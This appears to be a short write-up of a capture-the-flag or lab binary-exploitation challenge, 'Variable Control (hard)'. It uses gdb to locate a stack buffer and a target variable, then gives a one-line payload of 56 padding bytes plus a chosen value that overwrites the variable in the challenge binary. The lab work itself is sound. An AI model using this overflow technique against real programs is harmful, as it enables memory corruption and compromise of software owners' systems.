Variable Control (hard).md

Variable Controle (hard)

1. In gdb, disas challenge, we get to know:

   • win is at rbp-0x18 = rbp-24
   • lose is at rbp-0x14 = rbp-20
   • win has to be changed to 0x5a3c1e5a

2. Set a breakpoint b *challenge+163, run and give a long string of a's as input

3. info frame -> rbp is at 0x7ffcc2692280

4. x/100xg $rbp-200 -> input buffer starts at 0x7ffcc2692230, which is rbp-0x50 = rbp-80

5. 56 a's followed by desired value:

   echo -n -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x5a\x1e\x3c\x5a" | /challenge/binary-exploitation-var-control